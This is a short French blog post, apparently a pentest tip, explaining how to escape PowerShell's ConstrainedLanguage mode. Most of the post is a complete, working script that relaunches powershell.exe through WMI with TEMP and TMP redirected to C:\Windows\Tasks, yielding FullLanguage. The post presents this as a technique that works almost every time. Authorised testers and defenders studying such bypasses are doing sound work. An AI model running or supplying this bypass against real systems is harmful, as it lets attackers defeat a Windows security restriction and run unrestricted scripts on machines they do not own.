Powershell, de ConstrainedLanguage à FullLanguage

Lors d’un pentest il arrive de plus en plus fréquemment de rencontrer des difficultés à exécuter des scripts Powershell car celui-ci bien que présent est configuré en mode « ConstrainedLanguage ». Pour le vérifier :

$ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage

Il y a forcément plusieurs façons d’arriver au mode « FullLanguage » mais en voici une qui fonctionne quasi systématiquement. La seule condition est d’avoir le droit d’écriture et d’exécution dans un répertoire (sans être bloqué par AppLocker par exemple).

L’astuce consiste à lancer l’exécutable powershell.exe en lui passant en variable d’environnement un TEMP accessible justement en écriture et exécution. Habituellement le répertoire C:\Windows\Tasks fait l’affaire.

$CMDLine = "$PSHOME\powershell.exe"
[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:\* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }
$TEMPBypassPath = "Temp=C:\Windows\Tasks"
$TMPBypassPath = "TMP=C:\Windows\Tasks"
$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath
$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
} 

L’exécution de ce script a pour effet d’ouvrir une nouvelle fenêtre Powershell avec tous les droits. Pour le vérifier :

$ExecutionContext.SessionState.LanguageMode
FullLanguage